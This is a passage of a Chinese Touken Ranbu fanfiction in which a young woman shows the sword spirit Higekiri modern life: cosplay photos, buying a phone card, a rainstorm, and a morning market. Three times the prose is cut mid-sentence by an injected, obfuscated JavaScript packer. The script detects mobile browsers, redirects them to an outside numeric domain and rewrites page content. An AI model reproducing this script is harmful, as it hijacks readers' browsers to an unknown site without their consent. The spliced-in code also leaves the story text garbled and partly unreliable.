祝虞在心中嘀咕。 狐之助之前和她说过,除了身负灵力的人之外,普通人即便见到了刀剑付丧神也不会对其有深刻印象,即便留下了影像也很快会忘记,顶多会怀疑自己什么时候拍过这张照片。 介于此,祝虞放心大胆地帮忙给两个女孩和髭切拍照集邮。 两个人非常激动,具体表现在其中一个女孩捧着手机期期艾艾问可不可以扩列。 祝虞:“不好意思噢,他是日本人,没有这边的社交账号。” “国外账号我也可以的!老师您叫什么名字?” 说这话时女孩的翻译器没关,髭切看着她手机屏幕上的日语,微笑歪头:“名字嘛……唔……好像是‘胡子切’?还是‘膝丸’来着?” 祝虞想也没想,即答:“是髭切啊不是膝丸!” 慢了半拍意识到自己说漏嘴的祝虞:“……” 不是,难道谁和髭切站在一起,都会自动被弟弟丸上身吗?? 她连忙不动声色地去看旁边呆愣在原地的女孩,一边冒冷汗一边绞尽脑汁地思考怎么圆回来。 但是…… 女孩眼泪汪汪捂嘴:“竟然连这种失忆设定都有?太敬业了老师!” 祝虞:“……” 祝虞:“……哈哈,是的没错,非常敬业!” 再三表示没办法扩列后,两个人只好收起手机遗憾道别,祝虞听到她们临走前小声感叹:“所以说日本人cos日本刀会有种族天赋吗?” 髭切站在她旁边,歪头说:“不是日本人,是源氏重宝哦。” 祝虞一把捂住他的嘴,绷着脸看着手机屏幕假装翻译:“他说谢谢夸奖,他cos的就是源氏重宝!” 她生怕付丧神再语出惊人,拽着他飞速逃离,直奔数码店。 进门前,祝虞才终于从心累的情绪中平复回来。 她帮他整理帽子和口罩,付丧神这时候倒是乖乖低头没说话,祝虞盯着这张从手机屏幕里扣出来的脸看了一会儿,后知后觉思索:“……其实也不是不行。” 髭切:“?” 祝虞摸着下巴:“如果以后还有其他刀过来,我就真得喝西北风了,到时候就靠你们出cos赚钱养我吧。” 她语气真诚:“我觉得被包养的快乐也不是不能感受一下的。” 髭切保持无辜的微笑。 走进数码店,祝虞不仅把自己的手机重新贴了膜,也把闲置的旧手机换了一个新屏幕。 大概也是下午时间空闲没什么人流量,在修完屏幕后,数码店的小哥还非常热情地免费帮祝虞把手机贴了膜。 祝虞非常感动,但在数码店小哥试图推销电话卡时还是委婉拒绝了,拉着髭切果断跑路。 “怎么感觉到处都是推销电话卡的。”她小声嘀咕着。 在学校时被学长学姐们推销校园卡,开始找实习时不是主播就是地推,好像她这个专业毕业后除了干销售就没有第二条活路一样。 祝虞悲伤了一秒钟,余光瞥见跟在她身后的髭切时又忽地一顿。 她对髭切问道:“时之政府给入职员工交五险一金吗?” 髭切对她眨了一下眼睛。 祝虞自觉读懂了他的意思,只好自言自语地回答:“好吧,你不知道。” 电话卡还是要再办一张的,只是祝虞想着要去营业厅办,她记得回家路上就有一个营业厅,他们正好顺路回家。 但在路上,祝虞却忍不住继续沉思。 所以付丧神算时之政府的员工吗?还是说只有刀剑本灵算? 等一下,如果每一个审神者都拥有一个本丸、统领自己本丸的刀剑付丧神……那岂不是说这些刀剑分灵的老板是她?她该给他们交五险一金?! 祝虞:呆滞.jpg 五险一金应该缴纳不了,但是福利制度应该还是要建立吧……要不然怎么提高大家的工作热情。 祝虞充分发散着自己无处安放的思维,从设置岗位一路想到绩效考核,甚至开始回忆自己看过的各种同人文中的暗堕设定。 对下属不好,下属会怨怼,严重的可能会弑主;对下属太好,也可能由爱生怨。想要在公司(本丸)安全干到退休,必须要准确拿捏好与不好的度,保持完美距离。 这么一说,感觉审神者也是一个非常高危且需要极高工作能力的职业啊。 祝虞心生感叹,又开始庆辛自己不是一觉醒来穿进本丸,好歹让她有一个缓冲的时间。 髭切这样难搞的性格……只要她能掌握好和他相处的距离,想必其他付丧神也是手到擒来吧? 祝虞自我鼓励似的暗暗点头,刚准备开口说些什么,右手忽地一紧,还没反应过来就被一股力量向后拽着撞到了身后付丧神身上。 祝虞茫然极了。 她的第一反应是:后脑勺好痛。 第二反应是:等下,他拽我干什么? 气息远比话语先一步到达,祝虞还来不及说话,随着方才的动作,熟悉的洗衣液清香便先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268184|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步侵占嗅觉。 与她身上的味道完全一致,但又带着丝丝缕缕的陌生气息。 她愣了一瞬,抬头,看见付丧神茶金色的猫眼也在低头看她:“怎么了?” 忽然拽住她的付丧神理应听不懂她的话,但这一刻不知是福至心灵还是她的表情真的很好懂,懒洋洋用手指了一下拐角处。 下一刻,一辆电动车在祝虞的眼前飞驰而过,燥热气浪扬起,发丝飘动,扫过被热意蒸腾的脸颊。 而在那辆电动车离开后,付丧神也自然而然地松开手,神色毫无任何异样,仿佛刚刚只是随手将乱跑的小猫提着后颈肉拎回身边一样。 这一系列动作发生的快速且自然,徒留祝虞还有些发怔地站在原地,有点欲言又止。 这次是髭切来问她怎么了。 “你刚刚听到电动车的声音,所以想让我后退,要不然会被撞到,”祝虞对着翻译器说,“你是这样想的吗?” 付丧神乖巧点头:“是呀。” “那为什么不是直接提醒我?” 祝虞指了指拐角,伸手比比划划:“刚刚那个距离……其实只要你出声,我就能发觉,也可以完全避开。” 髭切有点困惑地问:“不可以牵手吗?” 祝虞:“……” 这是牵不牵手的问题吗? 明明有两个选择,一个是出声提醒,一个是伸手阻拦。正常关系的异性在有选择的情况下都会选前者吧,你怎么就这么本能地选了后者啊! 总不能是觉得这样对他来说最简单最直接吧! 祝虞发现她和下属搞好正常关系的计划从一开始可能就有些偏差。 他们两个人——哦不,是一个人和一振刀——对于“正常关系”的定义好像不太一样。 付丧神发现,面前少女的表情忽地无比纠结。 她不自觉地睁圆了眼睛,脸上闪过震惊、懊恼、怀疑……非常丰富,让髭切不由得开始想原来人类在一瞬间可以闪过这么多情绪的吗? 他稍微走神了一瞬,等回过神来,就看到他的家主嘴唇颤动,像是想说什么,又碍于什么而将话语吞咽回去。 她目光复杂地盯着他看了几秒,随即开口,不能对他说的舍去,留给他的只有手机屏幕上的一句话: 【不是牵手的问题,而是界限的问题。】 她说完这句话,又盯着他看了几秒,最后脸上闪过自暴自弃的神色。 【算了,你可以牵我的手,但是最好不要随便牵别人的手。别人可能会误会。】——这是她最后说的。 髭切其实不太理解她为什么会说这句话,比如说为什么会误会、有什么会被误会。 只要最后的结果是没有受到伤害,那么采取什么方法应该并不重要吧? 无论是从喉咙贯入、还是穿透心脏,只要能解决掉敌人的性命,那就并不是值得考虑的事情呀。 不过他并没有提出什么异议。 新生的付丧神知道,人类自有人类的规则。 但是既然她没有反对,那应该就是允许做、可以做的事情。 结果与一开始一致,那还有什么需要纠结的呢? 于是他在身旁少女复杂的目光注视下,自然而然地牵住她的手,带她走过了马路。 “看起来这里有点危险,家主不要乱跑喔。”他学着旁边行人的语气口吻,如此说道。 5. 反穿第五天 祝虞实在不知道该做出什么反应。 于是她选择性当做没看见,任由对方牵着自己的手过了马路,走到营业厅门口才故作淡定地松开,好像他们两个刚才什么都没发生一样。 ……当然,也只是好像而已。 祝虞精神有些恍惚地盯着业务窗口发呆,连窗口里的营业员叫了她好几声也没反应过来,还是旁边等待的髭切伸手在她眼前挥了挥了才唤回了她的意识。 “怎、怎么了?”她开口时结巴了一下,停顿一瞬后艰难地找回自己的声音,警惕说,“现在不能牵手。” 髭切:“嗯?” 他的脸上露出一个甜蜜微笑,指了指营业窗口:“不是我哦,是那个女孩……好像有点事情呢。” 祝虞猛地转头。 营业员保持礼貌微笑:“亲,办理电话卡需要出示一下您的身份证。” 祝虞茫然:“我刚刚不是给——”你了吗? 她的话说到一半,和营业员推回来的卡面面相觑。 营业员依旧保持礼貌微笑,唇角弧度分毫不变:“亲,校园卡不行的哦。” 祝虞大囧,尴尬地掏出身份证重新递过去。 这一次没再发生任何突发情况,十分钟后,祝虞顺利得到了一张用她的身份证办理的崭新电话卡。 出门的计划全部完成,再加上外面狂风大作、阴云密布,隐隐有要下雨的征兆,祝虞便直接带着髭切回了家。 他们回来的时间巧也不巧。 祝虞前脚刚刚迈进单元楼,豆大的雨滴立刻便将她的足迹掩盖,像是紧紧追在她的身后,转瞬就打湿了干燥地面。 刚下雨时的空气依旧闷热,祝虞呼出一口气,反手“砰”的一声关上单元门,将狂风骤雨的躁动严严实实地隔绝在外。 “呼,还好跑得快……”她嘀咕了一句,甩了甩自己微微被雨滴打湿的衣袖,习惯性向身后道,“髭切,你有没有被淋到?” 身后没有动静。 祝虞:“?” 她意识到不对,转头一看才发现身后空无一人,只有冰冷冷的单元门。 祝虞:“!” 完了,该不是没跟上吧?可是刚刚进小区的时候还在啊! 想到对方面对的可是人生地不熟又语言不通的情况,祝虞心中一慌,推开自己刚刚关上的单元门就准备冲进雨幕找人。 但是下一瞬她的脚步就停住了。 狂风裹挟着冰凉密集的雨点呼呼地扑在祝虞的脸上,她下意识地眯起眼睛—— 一道眼熟的身影站在单元楼前的花池旁边,他像是刚刚直起腰,倾盆大雨毫无遮挡地浇在他的身上,水珠顺着付丧神柔和的下颌线连成珠子似地滚落。 然而他的眼中却没有任何慌乱,只是带着一点孩童般的新奇,正微微仰头看着头顶砸落的雨幕,甚至还伸出手掌似乎想接住那些冰凉的雨滴。 “髭切!”祝虞终于忍不住提高声音,“下雨了,快进来呀!” 听到她的声音,雨中的付丧神似乎才从某种观察或者沉思中惊醒。他缓缓转过头,浅金的发丝贴在面颊,脸上是一贯温软的笑容。 “唔……主人已经进去了吗?”他的声音穿过哗哗雨声,依旧带着一分漫不经心,仿佛不是在雨中淋雨一样。 祝虞看着他不紧不慢的动作又气又急:“快进来,万一感冒了怎么办!” 付丧神似乎是此时才意识到自己浑身湿透,终于慢悠悠地抬脚向她的方向走来。每一步都踩出小小的水花,一路延伸至祝虞的面前。 此时的祝虞却没注意到水花不水花的问题,她的全部注意力都在浑身被淋透的付丧神身上。 见他走过来,祝虞二话不说便拉着他上楼,一进家门就找了块干燥的毛巾把他的头裹了起来。 “擦一下脑袋,我帮你去调热水,一会儿你去洗个热水澡、换件衣服……我记得家里应该有预防感冒的冲剂,放在哪里来着……” 祝虞踮着脚,一边用毛巾擦着付丧神头上的水,一边自顾自地喃喃自语。 她的力度有点没控制住,擦脑袋的动作和搓一只大型猫科动物一样,搓得手下的脑袋晃来晃去,发出闷闷的动静。 祝虞没理会,依旧自言自语:“付丧神会感冒吗?应该会吧?既然会感冒,那吃人类的感冒药应该也不会有什么问题吧?” “唔……” 祝虞将毛巾翻了一面,继续揉搓:“还好新衣服装在袋子里没有打湿,其实应该先洗一遍再穿的,但是……算了,先凑活着,明天再说吧。” “唔唔……” 祝虞正欲继续动作,手腕就先一步被抓住了。 没等她挣扎,一个头毛乱翘的脑袋就从她的毛巾下拱了出来,被雨水浸润得越发清透的茶金色猫眼注视着她。 祝虞:“……” 她绷着脸:“干什么。” 说这话时手机不在身边,祝虞本来也没想着让自己现在说的这些话能被付丧神理解。或者说不理解最好,她现在心情有点糟糕,不想让他知道。 为什么总是自顾自行事呢。 祝虞有点郁闷地想。 她觉得自己应该生气,但想到对方什么也不知道,又觉得自己不该生气。 既然没法生他的气,祝虞只好自己生闷气。 但是她这句话却被髭切听懂了——一天当中听了十几遍,髭切的人设只是健忘老人,又不是老年痴呆。 付丧神轻而易举地将毛巾从祝虞的手中拿过来,而后迎着少女有些震惊的眼神,自顾自地盖在了她的头上。 做完这个动作,他似乎是思考了一瞬间,然后放心大胆地揉了起来。 揉着揉着,他像是福至心灵一般竟然也掌握了祝虞动作的真谛,用搓猫的手法大力揉搓起来。 “等——唔、等一下!” 祝虞懵逼地被他用毛巾盖住脑袋,更加茫然地被他按住擦头发,满腔郁闷散去一半,只觉得莫名其妙。 “为什么要给我擦头发?”她艰难地从髭切的手底下钻出来,将手机屏幕几乎怼在付丧神的眼前。 髭切:“嗯?不可以吗?” 祝虞:“重点是我吗?你全身都被淋湿了啊!” 雷电划破长空,空气倏地一静。 祝虞顿住,瞬间意识到自己的语气似乎有些重。 一时间,无光玄关拐角只有呼吸牵绕,面前付丧神茶金色的眼眸幽亮,存在感十足地注视着她。 从见到对方起便不自觉升起的畏惧在这一刻蓬勃欲出,祝虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268185|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬着下唇,几乎是本能地就想道歉:“对不起,我不是要怪你——” “——头发湿了。” 软绵绵的嗓音打断了她的话。 祝虞一顿,看到付丧神将她的一缕湿润发丝捧到面前:“要擦干呢。” “……”祝虞抿了抿唇,忽然不知道该说什么了。 髭切好像本来也没想得到她的回应,自顾自地用带着温热体温的毛巾笨拙地擦她的头发。 隔着发丝和毛巾的空隙,祝虞看到了付丧神心情很好似的,微微翘起的唇角。 祝虞:“……” 心中刚刚升起的郁气像被戳破的气球,“噗”的一下泄掉了大半。 她安静地站在原地,一时之间耳边只有窸窸窣窣的细碎声响,以及隔着毛巾、浅淡的呼吸声。 过了一会儿,祝虞声音闷闷地转移话题:“你刚才在看什么……在看雨吗?就算是看下雨,也可以进屋再看呀。” 她听到面前付丧神叽里咕噜说了一段话,意思无法辨认,只能感觉他的嗓音依旧柔和。 祝虞耐心等了一会,才看到翻译的句子在手机屏幕上出现。 【在看花呀。】 汉字映在眼底的同时,毛巾被拿开,一抹鲜艳的色彩毫无征兆地出现在祝虞的面前。 祝虞几乎是不可置信地瞪着面前一枝带着晶莹雨珠的鲜花。 好半晌,她听到自己茫然地问:“……这是什么?” 髭切:“我也不知道是什么花呢,不过名字什么的不重要啦。” 祝虞:“我是说,为什么要给我花。” 这是月季,北方花池中最常见、最寻常、最普通的一类花。 祝虞从小到大见过无数种鲜花,其中不乏一些名贵品种。在她的眼中,眼前这枝月季不仅没有完全盛开,花瓣边缘也有虫蛀的痕迹,颜色更是不够最鲜亮。 简而言之,这就是一枝最普通的、带着晶莹水珠的月季。 她的大脑乱糟糟的,心想难道日本对于月季有什么特殊的花语吗? 或者说有什么习俗,下雨天的时候作为下属应该给家主送花? 她的思维发散,在看到手机屏幕上的话语时,所有的思考通通被敲碎。 髭切:“嗯……因为它看起来很努力呀。” 他捏着花枝转了一圈,朝她的方向又送了送,笑眯眯的:“‘虽然很普通,但是能在这样的雨中也没有被打落花瓣,大概也有些特别之处吧’——当时是这样想的。” “所以就送给家主吧!”他嗓音绵软地说。 祝虞根本不知道他什么时候摘的花、也根本不知道他刚刚进门时把花藏在了哪里。 她看着花,又抬头去看拿着花的付丧神,来回两三次,终于伸手接过花枝。 “谢、谢谢。”她难得有些无措。 髭切满意地拍了拍她的头:“嗯嗯,是好孩子呢。” 没办法啊。 浴室里哗哗水声响起的时候,祝虞小心翼翼地将花枝放进玻璃瓶中。 她左右看了看,还是忍不住打开相机拍了一张照片,又不放心似的备份上传。 做完这些事后,祝虞揉了一下自己微红的面颊,心想。 ……没有人能拒绝花与笑脸吧。 6. 反穿第六天 买完需要的生活用品后就是熟悉周围环境。 祝虞本来是想昨天下午回来时带髭切去逛一下小区附近的超市和菜市场,顺便把第二天做饭用的食材买回来。 但人算不如天算,昨天下午的暴雨让她打消了所有在外停留的念头。 至于暴雨停歇的夜晚,她躺在柔软舒适的床铺中想了想,果断决定将这个计划交给明天的祝虞执行。 于是等到第二天,睡眼惺忪的祝虞摁灭手机上“7:00”的闹钟,第一反应就是痛骂昨日毫无责任心的自己。 她翻了个身,头朝下将脸埋进枕头,鼻息间是熟悉的洗发水混着洗衣液的味道。 在些微的窒息中,她甚至诡异地产生了安心的念头,想要就这么将自己直接闷死在床上。 直到实在无法呼吸的时候,祝虞才重新翻身回来,仰躺在床上看着天花板,胸膛因为新鲜空气涌入而剧烈起伏着,脸颊带着闷出来的晕红。 这么放空大脑地躺了好一会儿,她慢吞吞地从床上爬起来,将微微汗湿的发丝捋到耳后,赤脚踩在毛毯上,走到衣柜前翻找衣服。 片刻后,祝虞在卫生间碰到了髭切。 “啊……你要用卫生间吗?”她这样问着,脚步已经微微转向,准备后退离开卫生间。 有些话即便不用翻译也能通过肢体动作理解。髭切将手中的毛巾放回原位,没有说话,而是直接先祝虞一步退到了卫生间外面,对她露出一个甜蜜的微笑。 “早上好呀,家主。”他说。 这句话祝虞倒是听懂了。 她先是也回了一句“早上好”,还没完全清醒的大脑混沌,本能地就想接话继续说自己昨夜做了一个离奇玄幻的梦。 一个字音刚刚冒出,她的视线就对上了付丧神那双茶金色猫眼。 祝虞停顿一瞬,想起来这不是宿舍里每天早上起床一边闲聊一边洗漱的舍友,这人听不懂她说话。 但此时髭切已经对她的欲言又止投来了询问的目光。 祝虞懒得解释,干脆冲他摆摆手示意自己没事,转身走进没人的卫生间。 叼着牙刷刷牙时,祝虞看着镜子中没什么精神的自己,漱口水含在嘴里咕噜咕噜,最后慢慢吐掉。 她的目光落在洗漱台上的两个不同颜色的漱口杯上——是打折买的情侣款,贴合在一起时杯壁正好合成一个完整的爱心。 她看了片刻,默默将属于自己的粉色漱口杯转了半圈。 ……还是有点不一样的。 她心想,和在宿舍里还是有点不一样的。 现在和她一起生活的是一个性别为“男”的刀剑付丧神。 这样想着,当祝虞洗漱完毕走出卫生间、看到站在客厅中不知道在想什么的髭切时,出于强迫症,还是忍不住伸手拽了一下他衣服。 髭切:“?” 付丧神将目光从窗外跳跃的麻雀上收回来,微微垂眼,看向比他矮了一个头的少女身上。 她也在抬眼看他,只是视线的落点似乎更靠上一点。 髭切知道她昨夜没睡好,今天黑白分明的透亮眸子下是有点明显的青黑痕迹,神色恹恹,淡色的唇轻抿。 她捂着嘴巴打了个哈欠,拉住他衣角的手指松开,向上抬起。 髭切感觉到自己的头顶传来轻柔的触碰,发丝被轻微拉扯,最后是面前少女放下手,困倦的声音中带着努力克服的认真。 “卫生间的洗漱台上有梳子,后面看不见的地方也要梳一下。”她又打了个哈欠,摇摇晃晃地绕过他向玄关处走去,又小声嘀咕了一句,“原来呆毛在现实中是存在的啊。” 髭切摸了摸自己的头发——没有任何翘起的触感,就算是有,在刚刚的动作中大概也被抚平了。 于是他放下手,也晃晃悠悠地跟在了家主的身后,走出家门。 - 今天出门的第一站是早市。 八月的暑气被昨日的暴雨按在泥土中,今日便洇出些凉爽来。空气中漂浮着清新的湿意,日光低伏于枝叶摇晃间。 沿路摊开的是新鲜带着晨间露珠的蔬菜,鱼摊边冰块在浅浅的水洼中融化。祝虞拉着身旁好奇张望的付丧神穿过喧嚣人群,挤到蒸腾着烟火气的早点摊位前。 之所以将早市作为第一站,除了今天起得很早外,最重要的原因就是他们俩个都没吃早饭。 祝虞的饮食习惯处于一种薛定谔式的规律:如果她早上是清醒的,并且需要一直清醒到中午,那么她会选择吃早饭;如果她直接一觉睡到了十点多将近十二点,那么早饭就会被她当做午饭来吃。 现在是早上七点半,祝虞今天的饮食习惯属于规律的那一类。 她买了两个煎饼两杯小米粥,不加香菜的给身边付丧神,加香菜多加甜面酱的给自己,小米粥挂在两人的手腕上,轻轻摇晃。 刚出炉的煎饼热气腾腾,白雾缭绕着散在空气中,祝虞吹了吹热气,小心翼翼地挑了个边角咬下去。 “唔——好烫!”她伸出被烫红的舌尖嘶嘶地吸气,却还是忍不住换了个边角重新咬了一口,被烫得原地蹦跶,依旧执着地咀嚼。 髭切观察着自己手中的食物,像是在短暂思索要从哪里下嘴,还没等他想明白,就先被祝虞的动静吸引了注意力。 祝虞咽下口中食物,终于有空侧目看向拿着煎饼一口没动的付丧神:“为什么不吃,不合胃口吗?” 髭切想了想,说道:“我不需要食物来维持生命的哦。” 这句话其实昨天中午吃饭的时候他就说过。 食物之于刀剑所化的付丧神而言并不是很重要。 如果长久没有进食,虽然会产生饥饿的感觉,但放着不管也不会怎样。 付丧神能以人身存活于世依靠的是持续供给的灵力。换言之,只要灵力足够,他不吃不喝也没有关系。 但祝虞觉得这样不行。 “哪有让人一直饿肚子的道理,我们家还没穷到连一口饭也吃不起的地步,”她吐槽说,“你弟要是知道我连一口饭也不给你吃,说不定夜闯时之政府也要抢了时空转换器冲到我的面前来为你打抱不平。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268186|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝虞的话说到一半,忽然想到什么似的顿住,若有所思地打量了一眼面前的付丧神。 “……你该不是在拐弯抹角地提醒我想要让膝丸也来到现世吧?”她问。 髭切:“嗯?这样就算作是提醒吗?” 祝虞学着他反问:“那你觉得怎样算作提醒?” 髭切看着她,伸手指了一下祝虞的小米粥,语气慢悠悠的:“要撒了哦。” 祝虞:“!” 她手忙脚乱地将小米粥拎起来,这一次老老实实地提在手里。等祝虞处理完突发状况,身旁的付丧神已经试探性地咬了一口热气腾腾的煎饼,然后和她一样嘟囔着“好烫”了。 上一个话题被自然揭过,她有点无奈:“这种事情就不用学我了啊,吃太烫的东西容易得食道癌。” 髭切重复了一遍她的话:“食道癌?” 祝虞确定的点头:“没错,食道癌。” 虽然这样提醒着,但她自己还是又咬了一口煎饼,然后两个人站在一起被烫得“呼呼”吐气,眼眶湿润,但是谁也没松手停下。 ——年轻人就是这样啦,经常会刷到各种不良习惯导致的严重后果。熬夜时被提醒可能猝死,担忧地翻个身,然后继续焦虑地玩手机。 吃完煎饼,祝虞手里捧着温热小米粥,继续领着髭切认路。 “这边基本上都是卖早点的摊位,比如油条豆浆包子手抓饼煎饼肉夹馍,”顶着付丧神茫然的视线,祝虞点头,“嗯,知道你一个也不认识。没关系,你认识形状就行,可以每样都尝试一下,每天吃一顿早饭,两个多星期后你就能找到自己最喜欢吃的那一种早饭。” 髭切想了想:“不可以一天吃三顿早饭吗?” 哇——原来你就是碳水之王。 “你以为早饭为什么被叫做‘早饭’?”本能回答后,祝虞还是敬佩道,“如果你想的话,也可以。” 有了她的肯定,没见过世面的付丧神很快就开始挑选自己今天的午饭和晚饭。 祝虞负责跟在他身后付钱,看见付丧神在每个摊位前都转了一圈,最终手里提了一份豆腐脑、几个粽子,还有特意走回去买的一个加香菜的煎饼。 祝虞:“你想吃香菜?” 她记得自己一开始给髭切买的那份煎饼里面特意没加香菜,因为担心他吃不惯来着。 付丧神对她翘起唇角:“小虞吃的时候看起来很好吃呢。” 那我还挺有吃播天赋的。 祝虞在心中自夸。 在她的纵容下,髭切买了足够好几人吃的早饭,塑料袋挨挨挤挤地被他提在手里。 从早市离开前,祝虞去挑新鲜苹果。 卖水果的阿姨热心地帮她挑拣,刚将水果放在称上,一抬头就看见一个瘦瘦高高、模样俊秀的小年轻提着和他瘦高身型完全不符的巨份早饭走过来。 她瞧着付丧神啧啧称奇:“嚯,小伙子饭量挺大的啊。” 祝虞接过苹果,仗着付丧神听不懂,泰然自若、老气横秋地说:“哥哥还在长身体嘛。” 7. 反穿第七天 “这一片都是老小区,房子年龄比我都大,一般都是老年人居住。如果有年轻人,那大概也是附近大学在外租房的学生。” 晨光漫过枝叶,碎金似的光隙落在石砖路上。 拎着水果的少女走在前面,一边走一边絮絮叨叨地说道:“小孩子其实也多,好像附近有个什么幼儿园和小学来着……现在没见到是因为时间还早,那些小孩都没起床,等下午五六点的时候人就多了。” “幼儿园和小学……啊,是说小孩子念书的地方吗?”语气轻柔的声音说。 祝虞刚要回答,一股呛人的烟味就飘到了她的鼻端。 她本能地皱了下眉,看见一个胡子拉碴的男人吸着拖鞋,一边抽烟一边向着他们的方向走来。 身形相错时,抽烟男人的视线本能地向旁边偏移了一瞬。 就是这偶然的抬头,男人才发觉那个拎着水果袋的女孩身后还跟了一个带帽子的男人。 方才的那句日语大约也是他说的。 外国人? 男人吸了口烟,他的步速无意识地放慢,撩起眼皮瞥了一眼。 疑似外国人的男人戴着灰蓝色棒球帽,浅金色的发丝压在帽檐下,看不清面容,只依稀露出一小截尖尖的下巴和翘起的淡唇,瞧上去估计年纪不大。 他之前不紧不慢地坠在少女身后,唯一奇怪的是手上提了很多个早餐袋子。 ……这到底是多少人吃啊? 男人不禁多看了他几眼。 但是这人对视线的感知似乎格外敏锐,男人的目光只是稍微停留了一瞬,立刻便与一双慢慢抬起的眼眸四目相对。 他下意识停在了原地。 那人有着一双融化琥珀般茶金色的猫眼,瞳孔却奇异地收束成一道竖直的细线。 隔着燃烧的烟雾,他的目光仿佛淬炼出的冷刃,温和而淡漠地与他对视,像是在观察,也像是在审视。 一阵风蓦然吹过,男人被热汗浸湿的脊背窜过冰冷的战栗,甚至有种被无形而尖锐锋芒轻轻抵住的错觉。 时间只凝固了短短一刹,帽檐随即重新压下。 似乎是前面的女孩在说什么,于是浅金发丝的男人慢悠悠地将视线移开,用浸着蜜糖般的柔和嗓音回应了一句,越过他,抬脚追上前面的女孩。 脚步声远去,日光重新落到男人身上。他的耳畔只有自己加速的心跳,咚咚作响。 不知过了多久,他的手指忽然一痛——香烟已经燃到了指间。 男人把烟掐断,抹了一把脸,下意识地向身后看去。 什么都没有,只有砖石上的光隙随风轻微摇晃。 ……我刚刚为什么停下了? 他的脑海中浮现出一抹金色的寒光,却始终回忆不起来具体的存在。 男人在原地静默地站了片刻,暗骂一声见鬼,脑海中的寒光消散,重新吸着拖鞋走了。 另一边,祝虞将手中的塑料袋换了一只手提着,回头瞥了一眼身后,有些莫名地看着髭切:“刚才怎么了?” 她走在前面,只看见抽烟的男人在与他们擦身而过时莫名其妙地停了下来,与付丧神对视的下一刻脸色瞬间苍白,瞳孔颤抖。 烟也不抽了,脚步也不动一下,像是被人定在了原地。 不像是遇到了斩鬼刀,倒像是见鬼了似的。 ……髭切长得应该没那么凶残吧? 祝虞打量着身后的付丧神,眉眼柔和唇角带笑,怎么看都觉得他和之前没什么区别。 她说:“你吓唬人家啦?” “没有哦,只是看了他一下。” 付丧神抬起手,似乎想要对她比划这个“一下”到底是怎么个程度,无奈于他两只手都被塑料袋占住,只能露出无辜的表情,别别扭扭地划出一个让人看不懂的动作, 至少祝虞没看懂他手舞足蹈的在干什么。 算了,应该不是什么大事。 祝虞将这个小插曲抛之脑后。 既然是老年人居多的养老社区,除了早市和菜市场很近外,小区内也有一处供居民健身的小公园。 当然了,说是小公园,其实就是几棵上了年岁的国槐圈起的一块空地,中间放着一些历经风雨、漆皮斑驳的健身器材。 祝虞没有早上晨练的习惯,即便出门买早饭,她也更倾向于骑个小电车五分钟搞定。 认真算来,这还是她第一次在早上这个时间点路过健身公园。 早上八点钟,正是老年人出门活动筋骨的高峰时段。 一群穿着宽松练功服的大爷大妈排成不甚整齐的方阵,慢悠悠地打着太极拳;稍近一些的健身器材处,几个老太太围着一台锈迹斑斑的扭腰器,一边扭动着腰胯一边声如洪钟地交流菜价和儿孙的八卦。 更远一些的空地,两三个老爷子拿着鞭子一下一下地抽着陀螺,发出响亮的破空声。 这些场景祝虞从小看到大,并不是什么稀奇事,她只是简单扫了一眼便移开了视线。 但对化形没两天的付丧神而言还是很稀奇的。 髭切的脚步停下来,他站在公园入口的稀疏树荫下,目光越过喧闹的人群,精准地落在那片打太极拳的区域。 他看得很专注,茶金眼瞳在晨光里显得格外清透,带着些没有掩饰的好奇。 “嗯?”付丧神发出一声极轻的疑问,尾音带着点天然的上扬。 “这个……”他顿了顿,似乎在寻找一个足够准确的词,“是现世的武艺修行吗?” “当然不是,”祝虞有点好奇他怎么会以为这是在修行,解释道,“这是在打太极拳啦。” 她琢磨了片刻,说:“你可以理解为一种强身健体、颐养性情的武术活动。” 髭切盯着公园内打太极拳的大爷大妈,像是若有所思地应了一声。 ……这应该是有点兴趣的样子吧? 祝虞用余光打量着他的神色,不太确定的猜测着。 但是直到两人走到小区门口,髭切也没有再多问什么,只是时不时低头看一眼他手中提着的早点。 祝虞觉得他的样子很像是自己小时候求得妈妈买了一只小狗,但是她担心小狗会挣开绳子逃跑,就总是趴在妈妈的肩膀上回头去看落后几个身位的小狗有没有跟上来一样。 已经买好的早点自然不会像小狗一样逃跑,但付丧神那种因为从未见过,所以那种带着点新奇、又有些谨慎的打量,还是让祝虞忍不住翘了翘唇角。 洒在身上的日光渐渐有了灼热的温度,走到小区门口,行人也渐渐多了起来。 祝虞稍微放慢脚步,等着髭切和他并肩。 她注意到,当一辆电动车从旁边飞驰而过,带起一阵风时,髭切下意识地将提着塑料袋的那只手臂微微往回收,仿佛那阵风 